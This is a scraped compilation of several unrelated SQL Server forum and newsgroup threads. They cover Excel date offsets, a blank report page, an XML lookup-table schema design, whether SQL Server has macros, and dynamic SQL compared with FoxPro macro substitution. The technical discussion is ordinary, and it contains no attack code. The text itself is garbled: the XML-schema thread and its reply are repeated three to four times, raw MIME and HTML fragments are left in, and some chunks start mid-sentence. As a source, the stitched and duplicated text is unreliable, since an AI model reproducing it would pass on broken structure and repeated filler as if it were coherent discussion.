Anyone else seen this?|||http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=27101
Hey Brett ... some more with excel problems ...
I believe the reason is that while SQL takes the default date to be 1900-01-01
and other MS applications use 1899-12-30
Here is a link
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnvbadev/html/whatisdatehowdiditgetthere.asp|||Thanks...forgot all about that thread...
Still doesn't explain you only get the decimal portion of the datetime field though (that's the time component)
Magic Blank Page
Getting the magic blank 2nd page for a report that seems to be well within 1
page (brings back Access memories). Can't seem to figure out how to diag or
what to look for.
--
William Stacey [MVP]This is a multi-part message in MIME format.
--=_NextPart_000_0015_01C61D8A.A9892E70
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I'm with ya pal. I have 5 charts + a header all easily fitting on a =8.5x11.0 with point 25s all the way around and print preview is actual =pages * 2.
Unfortunately, this is one of those engagements where printing is =important.
-- TIM ELLISON
"William Stacey [MVP]" <william.stacey@.gmail.com> wrote in message =news:%23Bw5dDTHGHA.3532@.TK2MSFTNGP14.phx.gbl...
Getting the magic blank 2nd page for a report that seems to be well =within 1 page (brings back Access memories). Can't seem to figure out how to =diag or what to look for.
-- William Stacey [MVP]
--=_NextPart_000_0015_01C61D8A.A9892E70
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
&
I'm with ya pal. I have 5 charts =+ a header all easily fitting on a 8.5x11.0 with point 25s all the way around and =print preview is actual pages * 2.
Unfortunately, this is one of those =engagements where printing is important.
-- TIM ELLISON
"William Stacey [MVP]"= wrote in message news:%23Bw5dDTHGHA.=3532@.TK2MSFTNGP14.phx.gbl...Getting the magic blank 2nd page for a report that seems to be well within 1 =page (brings back Access memories). Can't seem to figure out how to =diag or what to look for.-- William Stacey [MVP]
--=_NextPart_000_0015_01C61D8A.A9892E70--
page (brings back Access memories). Can't seem to figure out how to diag or
what to look for.
--
William Stacey [MVP]This is a multi-part message in MIME format.
--=_NextPart_000_0015_01C61D8A.A9892E70
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I'm with ya pal. I have 5 charts + a header all easily fitting on a =8.5x11.0 with point 25s all the way around and print preview is actual =pages * 2.
Unfortunately, this is one of those engagements where printing is =important.
-- TIM ELLISON
"William Stacey [MVP]" <william.stacey@.gmail.com> wrote in message =news:%23Bw5dDTHGHA.3532@.TK2MSFTNGP14.phx.gbl...
Getting the magic blank 2nd page for a report that seems to be well =within 1 page (brings back Access memories). Can't seem to figure out how to =diag or what to look for.
-- William Stacey [MVP]
--=_NextPart_000_0015_01C61D8A.A9892E70
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
&
I'm with ya pal. I have 5 charts =+ a header all easily fitting on a 8.5x11.0 with point 25s all the way around and =print preview is actual pages * 2.
Unfortunately, this is one of those =engagements where printing is important.
-- TIM ELLISON
"William Stacey [MVP]"
--=_NextPart_000_0015_01C61D8A.A9892E70--
Madness?!? This is SQL!
I'm charged with building a web service that accepts data from
multiple locations and stores it to be queried by users. The data we
receive will vary from business unit to business unit and we intend to
add more units as the project progresses. Each unit's system we add
will return data in a different format, and I really don't want to try
and replicate all of their databases.
Someone tell me whether the way I have this planned is a good way of
doing it, or if it's pure madness.
Lets say I get data from 2 different business units as follows:
Unit 1 Data:
<employees>
<employee id="1">
<name>Doe, Jane</name>
<phone>999-999-9999</phone>
</employee>
<employee>
<name>Doe, John</name>
<phone>888-888-8888</phone>
</employee>
</employees>
Unit 2 Data:
<systems>
<system id="123" name="wrk001">
<ip>1.1.1.1</ip>
<os>WindowsXP</os>
<location>D105</location>
</system>
<system id="234" name="wrk002">
<ip>1.1.1.2</ip>
<os>WindowsXP</os>
<location>D106</location>
</system>
</systems>
When a user needs to look up data from unit 1, they'll need to be able
to supply the employee's name and or id, while users searching unit 2
will need to know an ip address and or location name.
First, lets say I have a System Table:
TBL_System
---
| System_ID | System_Name
+--+--
| 1 | Business Unit 1
+--+--
| 2 | Business Unit 2
+--+--
Then, I create a table that explains what keys users will be searching
for. These keys will be based off of the XML document structure.
---
| System_ID | System_Key | Key_Name
+--+--+--
| 1 | 1 | id
+--+--+--
| 1 | 2 | name
+--+--+--
| 2 | 1 | location
+--+--+--
| 2 | 2 | ip
+--+--+--
Then, lets say I create a Table called TBL_DataStore to hold this
info.
TBL_DataStore
---
| DS_ID | DS_Data
+--+--
| 1 | <employee id="z1">
| | <name>Doe, Jane</name>
| | <phone>999-999-9999</phone>
| | </employee>
+--+--
| 2 | <employee id="z2">
| | <name>Doe, John</name>
| | <phone>888-888-8888</phone>
| | </employee>
+--+--
| 3 | <system id="123" name="wrk001">
| | <ip>1.1.1.1</ip>
| | <os>WindowsXP</os>
| | <location>D105</location>
| | </system>
+--+--
| 4 | <system id="234" name="wrk002">
| | <ip>1.1.1.2</ip>
| | <os>WindowsXP</os>
| | <location>D106</location>
| | </system>
+--+--
Finally, I create a Lookup table that holds key values that the user
will be searching for
TBL_Lookup
---
| System_ID | System_Key | DS_ID | Key_Value
+--+--+--+--
| 1 | 1 | 1 | z1
+--+--+--+--
| 1 | 2 | 1 | Doe, Jane
+--+--+--+--
| 1 | 1 | 2 | z2
+--+--+--+--
| 1 | 2 | 2 | Doe, John
+--+--+--+--
| 2 | 1 | 3 | D105
+--+--+--+--
| 2 | 2 | 3 | 1.1.1.1
+--+--+--+--
| 2 | 1 | 4 | D106
+--+--+--+--
| 2 | 2 | 4 | 1.1.1.2
+--+--+--+--
Now, based on this structure, I can load data from any business unit
without having to change the data structure to add more businesses.
Further, In order to query the data, I don't have to know the specific
xPath of a piece of information.
Is this a good way to accomplish what I'm trying to achieve, or should
I figure out some way to use OpenXML() queries based on XML supplied
by the different business units. My concern about OpenXML() is it's
speed and flexability.Hello Kris,
What volumes are you dealing with?
My view is the effort in creating a table far out ways the effort to support
a system like the one you are suggesting.
One simple view is to use full text, which allows full text to filter down
in a rough manner and then filter further using normal search predicates.
i.e. system and/or an xpath query
Simon Sabin
SQL Server MVP
http://sqlblogcasts.com/blogs/simons
> I'm charged with building a web service that accepts data from
> multiple locations and stores it to be queried by users. The data we
> receive will vary from business unit to business unit and we intend to
> add more units as the project progresses. Each unit's system we add
> will return data in a different format, and I really don't want to try
> and replicate all of their databases.
> Someone tell me whether the way I have this planned is a good way of
> doing it, or if it's pure madness.
> Lets say I get data from 2 different business units as follows:
> Unit 1 Data:
> <employees>
> <employee id="1">
> <name>Doe, Jane</name>
> <phone>999-999-9999</phone>
> </employee>
> <employee>
> <name>Doe, John</name>
> <phone>888-888-8888</phone>
> </employee>
> </employees>
> Unit 2 Data:
> <systems>
> <system id="123" name="wrk001">
> <ip>1.1.1.1</ip>
> <os>WindowsXP</os>
> <location>D105</location>
> </system>
> <system id="234" name="wrk002">
> <ip>1.1.1.2</ip>
> <os>WindowsXP</os>
> <location>D106</location>
> </system>
> </systems>
> When a user needs to look up data from unit 1, they'll need to be able
> to supply the employee's name and or id, while users searching unit 2
> will need to know an ip address and or location name.
> First, lets say I have a System Table:
> TBL_System
> ---
> | System_ID | System_Name
> +--+--
> | 1 | Business Unit 1
> +--+--
> | 2 | Business Unit 2
> +--+--
> Then, I create a table that explains what keys users will be searching
> for. These keys will be based off of the XML document structure.
> ---
> | System_ID | System_Key | Key_Name
> +--+--+--
> | 1 | 1 | id
> +--+--+--
> | 1 | 2 | name
> +--+--+--
> | 2 | 1 | location
> +--+--+--
> | 2 | 2 | ip
> +--+--+--
> Then, lets say I create a Table called TBL_DataStore to hold this
> info.
> TBL_DataStore
> ---
> | DS_ID | DS_Data
> +--+--
> | 1 | <employee id="z1">
> | | <name>Doe, Jane</name>
> | | <phone>999-999-9999</phone>
> | | </employee>
> +--+--
> | 2 | <employee id="z2">
> | | <name>Doe, John</name>
> | | <phone>888-888-8888</phone>
> | | </employee>
> +--+--
> | 3 | <system id="123" name="wrk001">
> | | <ip>1.1.1.1</ip>
> | | <os>WindowsXP</os>
> | | <location>D105</location>
> | | </system>
> +--+--
> | 4 | <system id="234" name="wrk002">
> | | <ip>1.1.1.2</ip>
> | | <os>WindowsXP</os>
> | | <location>D106</location>
> | | </system>
> +--+--
> Finally, I create a Lookup table that holds key values that the user
> will be searching for
> TBL_Lookup
> ---
> | System_ID | System_Key | DS_ID | Key_Value
> +--+--+--+--
> | 1 | 1 | 1 | z1
> +--+--+--+--
> | 1 | 2 | 1 | Doe, Jane
> +--+--+--+--
> | 1 | 1 | 2 | z2
> +--+--+--+--
> | 1 | 2 | 2 | Doe, John
> +--+--+--+--
> | 2 | 1 | 3 | D105
> +--+--+--+--
> | 2 | 2 | 3 | 1.1.1.1
> +--+--+--+--
> | 2 | 1 | 4 | D106
> +--+--+--+--
> | 2 | 2 | 4 | 1.1.1.2
> +--+--+--+--
> Now, based on this structure, I can load data from any business unit
> without having to change the data structure to add more businesses.
> Further, In order to query the data, I don't have to know the specific
> xPath of a piece of information.
> Is this a good way to accomplish what I'm trying to achieve, or should
> I figure out some way to use OpenXML() queries based on XML supplied
> by the different business units. My concern about OpenXML() is it's
> speed and flexability.
>
multiple locations and stores it to be queried by users. The data we
receive will vary from business unit to business unit and we intend to
add more units as the project progresses. Each unit's system we add
will return data in a different format, and I really don't want to try
and replicate all of their databases.
Someone tell me whether the way I have this planned is a good way of
doing it, or if it's pure madness.
Lets say I get data from 2 different business units as follows:
Unit 1 Data:
<employees>
<employee id="1">
<name>Doe, Jane</name>
<phone>999-999-9999</phone>
</employee>
<employee>
<name>Doe, John</name>
<phone>888-888-8888</phone>
</employee>
</employees>
Unit 2 Data:
<systems>
<system id="123" name="wrk001">
<ip>1.1.1.1</ip>
<os>WindowsXP</os>
<location>D105</location>
</system>
<system id="234" name="wrk002">
<ip>1.1.1.2</ip>
<os>WindowsXP</os>
<location>D106</location>
</system>
</systems>
When a user needs to look up data from unit 1, they'll need to be able
to supply the employee's name and or id, while users searching unit 2
will need to know an ip address and or location name.
First, lets say I have a System Table:
TBL_System
---
| System_ID | System_Name
+--+--
| 1 | Business Unit 1
+--+--
| 2 | Business Unit 2
+--+--
Then, I create a table that explains what keys users will be searching
for. These keys will be based off of the XML document structure.
---
| System_ID | System_Key | Key_Name
+--+--+--
| 1 | 1 | id
+--+--+--
| 1 | 2 | name
+--+--+--
| 2 | 1 | location
+--+--+--
| 2 | 2 | ip
+--+--+--
Then, lets say I create a Table called TBL_DataStore to hold this
info.
TBL_DataStore
---
| DS_ID | DS_Data
+--+--
| 1 | <employee id="z1">
| | <name>Doe, Jane</name>
| | <phone>999-999-9999</phone>
| | </employee>
+--+--
| 2 | <employee id="z2">
| | <name>Doe, John</name>
| | <phone>888-888-8888</phone>
| | </employee>
+--+--
| 3 | <system id="123" name="wrk001">
| | <ip>1.1.1.1</ip>
| | <os>WindowsXP</os>
| | <location>D105</location>
| | </system>
+--+--
| 4 | <system id="234" name="wrk002">
| | <ip>1.1.1.2</ip>
| | <os>WindowsXP</os>
| | <location>D106</location>
| | </system>
+--+--
Finally, I create a Lookup table that holds key values that the user
will be searching for
TBL_Lookup
---
| System_ID | System_Key | DS_ID | Key_Value
+--+--+--+--
| 1 | 1 | 1 | z1
+--+--+--+--
| 1 | 2 | 1 | Doe, Jane
+--+--+--+--
| 1 | 1 | 2 | z2
+--+--+--+--
| 1 | 2 | 2 | Doe, John
+--+--+--+--
| 2 | 1 | 3 | D105
+--+--+--+--
| 2 | 2 | 3 | 1.1.1.1
+--+--+--+--
| 2 | 1 | 4 | D106
+--+--+--+--
| 2 | 2 | 4 | 1.1.1.2
+--+--+--+--
Now, based on this structure, I can load data from any business unit
without having to change the data structure to add more businesses.
Further, In order to query the data, I don't have to know the specific
xPath of a piece of information.
Is this a good way to accomplish what I'm trying to achieve, or should
I figure out some way to use OpenXML() queries based on XML supplied
by the different business units. My concern about OpenXML() is it's
speed and flexability.Hello Kris,
What volumes are you dealing with?
My view is the effort in creating a table far out ways the effort to support
a system like the one you are suggesting.
One simple view is to use full text, which allows full text to filter down
in a rough manner and then filter further using normal search predicates.
i.e. system and/or an xpath query
Simon Sabin
SQL Server MVP
http://sqlblogcasts.com/blogs/simons
> I'm charged with building a web service that accepts data from
> multiple locations and stores it to be queried by users. The data we
> receive will vary from business unit to business unit and we intend to
> add more units as the project progresses. Each unit's system we add
> will return data in a different format, and I really don't want to try
> and replicate all of their databases.
> Someone tell me whether the way I have this planned is a good way of
> doing it, or if it's pure madness.
> Lets say I get data from 2 different business units as follows:
> Unit 1 Data:
> <employees>
> <employee id="1">
> <name>Doe, Jane</name>
> <phone>999-999-9999</phone>
> </employee>
> <employee>
> <name>Doe, John</name>
> <phone>888-888-8888</phone>
> </employee>
> </employees>
> Unit 2 Data:
> <systems>
> <system id="123" name="wrk001">
> <ip>1.1.1.1</ip>
> <os>WindowsXP</os>
> <location>D105</location>
> </system>
> <system id="234" name="wrk002">
> <ip>1.1.1.2</ip>
> <os>WindowsXP</os>
> <location>D106</location>
> </system>
> </systems>
> When a user needs to look up data from unit 1, they'll need to be able
> to supply the employee's name and or id, while users searching unit 2
> will need to know an ip address and or location name.
> First, lets say I have a System Table:
> TBL_System
> ---
> | System_ID | System_Name
> +--+--
> | 1 | Business Unit 1
> +--+--
> | 2 | Business Unit 2
> +--+--
> Then, I create a table that explains what keys users will be searching
> for. These keys will be based off of the XML document structure.
> ---
> | System_ID | System_Key | Key_Name
> +--+--+--
> | 1 | 1 | id
> +--+--+--
> | 1 | 2 | name
> +--+--+--
> | 2 | 1 | location
> +--+--+--
> | 2 | 2 | ip
> +--+--+--
> Then, lets say I create a Table called TBL_DataStore to hold this
> info.
> TBL_DataStore
> ---
> | DS_ID | DS_Data
> +--+--
> | 1 | <employee id="z1">
> | | <name>Doe, Jane</name>
> | | <phone>999-999-9999</phone>
> | | </employee>
> +--+--
> | 2 | <employee id="z2">
> | | <name>Doe, John</name>
> | | <phone>888-888-8888</phone>
> | | </employee>
> +--+--
> | 3 | <system id="123" name="wrk001">
> | | <ip>1.1.1.1</ip>
> | | <os>WindowsXP</os>
> | | <location>D105</location>
> | | </system>
> +--+--
> | 4 | <system id="234" name="wrk002">
> | | <ip>1.1.1.2</ip>
> | | <os>WindowsXP</os>
> | | <location>D106</location>
> | | </system>
> +--+--
> Finally, I create a Lookup table that holds key values that the user
> will be searching for
> TBL_Lookup
> ---
> | System_ID | System_Key | DS_ID | Key_Value
> +--+--+--+--
> | 1 | 1 | 1 | z1
> +--+--+--+--
> | 1 | 2 | 1 | Doe, Jane
> +--+--+--+--
> | 1 | 1 | 2 | z2
> +--+--+--+--
> | 1 | 2 | 2 | Doe, John
> +--+--+--+--
> | 2 | 1 | 3 | D105
> +--+--+--+--
> | 2 | 2 | 3 | 1.1.1.1
> +--+--+--+--
> | 2 | 1 | 4 | D106
> +--+--+--+--
> | 2 | 2 | 4 | 1.1.1.2
> +--+--+--+--
> Now, based on this structure, I can load data from any business unit
> without having to change the data structure to add more businesses.
> Further, In order to query the data, I don't have to know the specific
> xPath of a piece of information.
> Is this a good way to accomplish what I'm trying to achieve, or should
> I figure out some way to use OpenXML() queries based on XML supplied
> by the different business units. My concern about OpenXML() is it's
> speed and flexability.
>
Madness?!? This is SQL!
I'm charged with building a web service that accepts data from
multiple locations and stores it to be queried by users. The data we
receive will vary from business unit to business unit and we intend to
add more units as the project progresses. Each unit's system we add
will return data in a different format, and I really don't want to try
and replicate all of their databases.
Someone tell me whether the way I have this planned is a good way of
doing it, or if it's pure madness.
Lets say I get data from 2 different business units as follows:
Unit 1 Data:
<employees>
<employee id="1">
<name>Doe, Jane</name>
<phone>999-999-9999</phone>
</employee>
<employee>
<name>Doe, John</name>
<phone>888-888-8888</phone>
</employee>
</employees>
Unit 2 Data:
<systems>
<system id="123" name="wrk001">
<ip>1.1.1.1</ip>
<os>WindowsXP</os>
<location>D105</location>
</system>
<system id="234" name="wrk002">
<ip>1.1.1.2</ip>
<os>WindowsXP</os>
<location>D106</location>
</system>
</systems>
When a user needs to look up data from unit 1, they'll need to be able
to supply the employee's name and or id, while users searching unit 2
will need to know an ip address and or location name.
First, lets say I have a System Table:
TBL_System
| System_ID | System_Name
+--+--
| 1 | Business Unit 1
+--+--
| 2 | Business Unit 2
+--+--
Then, I create a table that explains what keys users will be searching
for. These keys will be based off of the XML document structure.
| System_ID | System_Key | Key_Name
+--+--+--
| 1 | 1 | id
+--+--+--
| 1 | 2 | name
+--+--+--
| 2 | 1 | location
+--+--+--
| 2 | 2 | ip
+--+--+--
Then, lets say I create a Table called TBL_DataStore to hold this
info.
TBL_DataStore
| DS_ID | DS_Data
+--+--
| 1 | <employee id="z1">
| | <name>Doe, Jane</name>
| |<phone>999-999-9999</phone>
|| </employee>
+--+--
| 2 | <employee id="z2">
| | <name>Doe, John</name>
| | <phone>888-888-8888</phone>
| | </employee>
+--+--
| 3 | <system id="123" name="wrk001">
| | <ip>1.1.1.1</ip>
| | <os>WindowsXP</os>
| | <location>D105</location>
| | </system>
+--+--
| 4 | <system id="234" name="wrk002">
| | <ip>1.1.1.2</ip>
| | <os>WindowsXP</os>
| | <location>D106</location>
| | </system>
+--+--
Finally, I create a Lookup table that holds key values that the user
will be searching for
TBL_Lookup
| System_ID | System_Key | DS_ID | Key_Value
+--+--+--+--
| 1 | 1 | 1 | z1
+--+--+--+--
| 1 | 2 | 1 | Doe, Jane
+--+--+--+--
| 1 | 1 | 2 | z2
+--+--+--+--
| 1 | 2 | 2 | Doe, John
+--+--+--+--
| 2 | 1 | 3 | D105
+--+--+--+--
| 2 | 2 | 3 | 1.1.1.1
+--+--+--+--
| 2 | 1 | 4 | D106
+--+--+--+--
| 2 | 2 | 4 | 1.1.1.2
+--+--+--+--
Now, based on this structure, I can load data from any business unit
without having to change the data structure to add more businesses.
Further, In order to query the data, I don't have to know the specific
xPath of a piece of information.
Is this a good way to accomplish what I'm trying to achieve, or should
I figure out some way to use OpenXML() queries based on XML supplied
by the different business units. My concern about OpenXML() is it's
speed and flexability.
Hello Kris,
What volumes are you dealing with?
My view is the effort in creating a table far out ways the effort to support
a system like the one you are suggesting.
One simple view is to use full text, which allows full text to filter down
in a rough manner and then filter further using normal search predicates.
i.e. system and/or an xpath query
Simon Sabin
SQL Server MVP
http://sqlblogcasts.com/blogs/simons
> I'm charged with building a web service that accepts data from
> multiple locations and stores it to be queried by users. The data we
> receive will vary from business unit to business unit and we intend to
> add more units as the project progresses. Each unit's system we add
> will return data in a different format, and I really don't want to try
> and replicate all of their databases.
> Someone tell me whether the way I have this planned is a good way of
> doing it, or if it's pure madness.
> Lets say I get data from 2 different business units as follows:
> Unit 1 Data:
> <employees>
> <employee id="1">
> <name>Doe, Jane</name>
> <phone>999-999-9999</phone>
> </employee>
> <employee>
> <name>Doe, John</name>
> <phone>888-888-8888</phone>
> </employee>
> </employees>
> Unit 2 Data:
> <systems>
> <system id="123" name="wrk001">
> <ip>1.1.1.1</ip>
> <os>WindowsXP</os>
> <location>D105</location>
> </system>
> <system id="234" name="wrk002">
> <ip>1.1.1.2</ip>
> <os>WindowsXP</os>
> <location>D106</location>
> </system>
> </systems>
> When a user needs to look up data from unit 1, they'll need to be able
> to supply the employee's name and or id, while users searching unit 2
> will need to know an ip address and or location name.
> First, lets say I have a System Table:
> TBL_System
> | System_ID | System_Name
> +--+--
> | 1 | Business Unit 1
> +--+--
> | 2 | Business Unit 2
> +--+--
> Then, I create a table that explains what keys users will be searching
> for. These keys will be based off of the XML document structure.
> | System_ID | System_Key | Key_Name
> +--+--+--
> | 1 | 1 | id
> +--+--+--
> | 1 | 2 | name
> +--+--+--
> | 2 | 1 | location
> +--+--+--
> | 2 | 2 | ip
> +--+--+--
> Then, lets say I create a Table called TBL_DataStore to hold this
> info.
> TBL_DataStore
> | DS_ID | DS_Data
> +--+--
> | 1 | <employee id="z1">
> | | <name>Doe, Jane</name>
> | |<phone>999-999-9999</phone>
> || </employee>
> +--+--
> | 2 | <employee id="z2">
> | | <name>Doe, John</name>
> | | <phone>888-888-8888</phone>
> | | </employee>
> +--+--
> | 3 | <system id="123" name="wrk001">
> | | <ip>1.1.1.1</ip>
> | | <os>WindowsXP</os>
> | | <location>D105</location>
> | | </system>
> +--+--
> | 4 | <system id="234" name="wrk002">
> | | <ip>1.1.1.2</ip>
> | | <os>WindowsXP</os>
> | | <location>D106</location>
> | | </system>
> +--+--
> Finally, I create a Lookup table that holds key values that the user
> will be searching for
> TBL_Lookup
> | System_ID | System_Key | DS_ID | Key_Value
> +--+--+--+--
> | 1 | 1 | 1 | z1
> +--+--+--+--
> | 1 | 2 | 1 | Doe, Jane
> +--+--+--+--
> | 1 | 1 | 2 | z2
> +--+--+--+--
> | 1 | 2 | 2 | Doe, John
> +--+--+--+--
> | 2 | 1 | 3 | D105
> +--+--+--+--
> | 2 | 2 | 3 | 1.1.1.1
> +--+--+--+--
> | 2 | 1 | 4 | D106
> +--+--+--+--
> | 2 | 2 | 4 | 1.1.1.2
> +--+--+--+--
> Now, based on this structure, I can load data from any business unit
> without having to change the data structure to add more businesses.
> Further, In order to query the data, I don't have to know the specific
> xPath of a piece of information.
> Is this a good way to accomplish what I'm trying to achieve, or should
> I figure out some way to use OpenXML() queries based on XML supplied
> by the different business units. My concern about OpenXML() is it's
> speed and flexability.
>
multiple locations and stores it to be queried by users. The data we
receive will vary from business unit to business unit and we intend to
add more units as the project progresses. Each unit's system we add
will return data in a different format, and I really don't want to try
and replicate all of their databases.
Someone tell me whether the way I have this planned is a good way of
doing it, or if it's pure madness.
Lets say I get data from 2 different business units as follows:
Unit 1 Data:
<employees>
<employee id="1">
<name>Doe, Jane</name>
<phone>999-999-9999</phone>
</employee>
<employee>
<name>Doe, John</name>
<phone>888-888-8888</phone>
</employee>
</employees>
Unit 2 Data:
<systems>
<system id="123" name="wrk001">
<ip>1.1.1.1</ip>
<os>WindowsXP</os>
<location>D105</location>
</system>
<system id="234" name="wrk002">
<ip>1.1.1.2</ip>
<os>WindowsXP</os>
<location>D106</location>
</system>
</systems>
When a user needs to look up data from unit 1, they'll need to be able
to supply the employee's name and or id, while users searching unit 2
will need to know an ip address and or location name.
First, lets say I have a System Table:
TBL_System
| System_ID | System_Name
+--+--
| 1 | Business Unit 1
+--+--
| 2 | Business Unit 2
+--+--
Then, I create a table that explains what keys users will be searching
for. These keys will be based off of the XML document structure.
| System_ID | System_Key | Key_Name
+--+--+--
| 1 | 1 | id
+--+--+--
| 1 | 2 | name
+--+--+--
| 2 | 1 | location
+--+--+--
| 2 | 2 | ip
+--+--+--
Then, lets say I create a Table called TBL_DataStore to hold this
info.
TBL_DataStore
| DS_ID | DS_Data
+--+--
| 1 | <employee id="z1">
| | <name>Doe, Jane</name>
| |<phone>999-999-9999</phone>
|| </employee>
+--+--
| 2 | <employee id="z2">
| | <name>Doe, John</name>
| | <phone>888-888-8888</phone>
| | </employee>
+--+--
| 3 | <system id="123" name="wrk001">
| | <ip>1.1.1.1</ip>
| | <os>WindowsXP</os>
| | <location>D105</location>
| | </system>
+--+--
| 4 | <system id="234" name="wrk002">
| | <ip>1.1.1.2</ip>
| | <os>WindowsXP</os>
| | <location>D106</location>
| | </system>
+--+--
Finally, I create a Lookup table that holds key values that the user
will be searching for
TBL_Lookup
| System_ID | System_Key | DS_ID | Key_Value
+--+--+--+--
| 1 | 1 | 1 | z1
+--+--+--+--
| 1 | 2 | 1 | Doe, Jane
+--+--+--+--
| 1 | 1 | 2 | z2
+--+--+--+--
| 1 | 2 | 2 | Doe, John
+--+--+--+--
| 2 | 1 | 3 | D105
+--+--+--+--
| 2 | 2 | 3 | 1.1.1.1
+--+--+--+--
| 2 | 1 | 4 | D106
+--+--+--+--
| 2 | 2 | 4 | 1.1.1.2
+--+--+--+--
Now, based on this structure, I can load data from any business unit
without having to change the data structure to add more businesses.
Further, In order to query the data, I don't have to know the specific
xPath of a piece of information.
Is this a good way to accomplish what I'm trying to achieve, or should
I figure out some way to use OpenXML() queries based on XML supplied
by the different business units. My concern about OpenXML() is it's
speed and flexability.
Hello Kris,
What volumes are you dealing with?
My view is the effort in creating a table far out ways the effort to support
a system like the one you are suggesting.
One simple view is to use full text, which allows full text to filter down
in a rough manner and then filter further using normal search predicates.
i.e. system and/or an xpath query
Simon Sabin
SQL Server MVP
http://sqlblogcasts.com/blogs/simons
> I'm charged with building a web service that accepts data from
> multiple locations and stores it to be queried by users. The data we
> receive will vary from business unit to business unit and we intend to
> add more units as the project progresses. Each unit's system we add
> will return data in a different format, and I really don't want to try
> and replicate all of their databases.
> Someone tell me whether the way I have this planned is a good way of
> doing it, or if it's pure madness.
> Lets say I get data from 2 different business units as follows:
> Unit 1 Data:
> <employees>
> <employee id="1">
> <name>Doe, Jane</name>
> <phone>999-999-9999</phone>
> </employee>
> <employee>
> <name>Doe, John</name>
> <phone>888-888-8888</phone>
> </employee>
> </employees>
> Unit 2 Data:
> <systems>
> <system id="123" name="wrk001">
> <ip>1.1.1.1</ip>
> <os>WindowsXP</os>
> <location>D105</location>
> </system>
> <system id="234" name="wrk002">
> <ip>1.1.1.2</ip>
> <os>WindowsXP</os>
> <location>D106</location>
> </system>
> </systems>
> When a user needs to look up data from unit 1, they'll need to be able
> to supply the employee's name and or id, while users searching unit 2
> will need to know an ip address and or location name.
> First, lets say I have a System Table:
> TBL_System
> | System_ID | System_Name
> +--+--
> | 1 | Business Unit 1
> +--+--
> | 2 | Business Unit 2
> +--+--
> Then, I create a table that explains what keys users will be searching
> for. These keys will be based off of the XML document structure.
> | System_ID | System_Key | Key_Name
> +--+--+--
> | 1 | 1 | id
> +--+--+--
> | 1 | 2 | name
> +--+--+--
> | 2 | 1 | location
> +--+--+--
> | 2 | 2 | ip
> +--+--+--
> Then, lets say I create a Table called TBL_DataStore to hold this
> info.
> TBL_DataStore
> | DS_ID | DS_Data
> +--+--
> | 1 | <employee id="z1">
> | | <name>Doe, Jane</name>
> | |<phone>999-999-9999</phone>
> || </employee>
> +--+--
> | 2 | <employee id="z2">
> | | <name>Doe, John</name>
> | | <phone>888-888-8888</phone>
> | | </employee>
> +--+--
> | 3 | <system id="123" name="wrk001">
> | | <ip>1.1.1.1</ip>
> | | <os>WindowsXP</os>
> | | <location>D105</location>
> | | </system>
> +--+--
> | 4 | <system id="234" name="wrk002">
> | | <ip>1.1.1.2</ip>
> | | <os>WindowsXP</os>
> | | <location>D106</location>
> | | </system>
> +--+--
> Finally, I create a Lookup table that holds key values that the user
> will be searching for
> TBL_Lookup
> | System_ID | System_Key | DS_ID | Key_Value
> +--+--+--+--
> | 1 | 1 | 1 | z1
> +--+--+--+--
> | 1 | 2 | 1 | Doe, Jane
> +--+--+--+--
> | 1 | 1 | 2 | z2
> +--+--+--+--
> | 1 | 2 | 2 | Doe, John
> +--+--+--+--
> | 2 | 1 | 3 | D105
> +--+--+--+--
> | 2 | 2 | 3 | 1.1.1.1
> +--+--+--+--
> | 2 | 1 | 4 | D106
> +--+--+--+--
> | 2 | 2 | 4 | 1.1.1.2
> +--+--+--+--
> Now, based on this structure, I can load data from any business unit
> without having to change the data structure to add more businesses.
> Further, In order to query the data, I don't have to know the specific
> xPath of a piece of information.
> Is this a good way to accomplish what I'm trying to achieve, or should
> I figure out some way to use OpenXML() queries based on XML supplied
> by the different business units. My concern about OpenXML() is it's
> speed and flexability.
>
Macros in SQL Server
How effective are macros in SQL server?what are macros ?|||There are no macros in sql server. Use stored procedures instead, and they are very effective.|||user defineded functions are also available. UDFs can return a table, inline or scalar result.|||User-defined functions are usefull, but they can only be used for returning data and can't change, create, or delete existing data. Procedures are the best format for automating tasks.
blindman|||Not all macros are used to change data!
A function can change data in a table, remember that you can use the EXECUTE statment in a function.|||You cannot use EXECUTE within a function to change data.
From Books Online:
"User-defined functions cannot be used to perform a set of actions that modify the global database state. "
The database would choke if you invoked a function in a query against a table that could potentially simultaneously change data in the table.
You'll get this message when you call the function:
"Only functions and extended stored procedures can be executed from within a function."
blindman
blindman|||Not all macros are used to change data!
A function can change data in a table, remember that you can use the EXECUTE statment in a function.|||You cannot use EXECUTE within a function to change data.
From Books Online:
"User-defined functions cannot be used to perform a set of actions that modify the global database state. "
The database would choke if you invoked a function in a query against a table that could potentially simultaneously change data in the table.
You'll get this message when you call the function:
"Only functions and extended stored procedures can be executed from within a function."
blindman
macro substitution or command @var
In VFP we can use in the program the variable
var ='some_statement'
var && here will be 'some_statement'
&var && here will be some_statement
In SQL Server if we have :
declare @.var varchar(8000)
set @.var='some_statement'
In the program
@.var --here will be 'some_statement'
But if we want to use the variable @.var the same way as in the second
variant what we should do ?Can you give an example of 'some_statement'?
If that's a T-SQL statement lookup EXECUTE and sp_executesql in Books Online
.
However, we can provide a more appropriate solution if you share some more
information. You can start by explaining what exactly you are trying to do.
ML|||Why do you want to use dynamic code? When I worked on VFP our
development standards only permitted macro substitution in very
exceptional cases - and rightly so. Dynamic code is hard to test, debug
and maintain and in my experience its use in production code is usually
the result of poor design or laziness.
Dynamic SQL does have certain "legitimate" uses for DBA type tasks, and
for those we have the EXEC and sp_executesql statements.
David Portas
SQL Server MVP
--|||Thank you.
"ML" wrote:
> Can you give an example of 'some_statement'?
> If that's a T-SQL statement lookup EXECUTE and sp_executesql in Books Onli
ne.
> However, we can provide a more appropriate solution if you share some more
> information. You can start by explaining what exactly you are trying to do
.
>
> ML|||Thank you.
"David Portas" wrote:
> Why do you want to use dynamic code? When I worked on VFP our
> development standards only permitted macro substitution in very
> exceptional cases - and rightly so. Dynamic code is hard to test, debug
> and maintain and in my experience its use in production code is usually
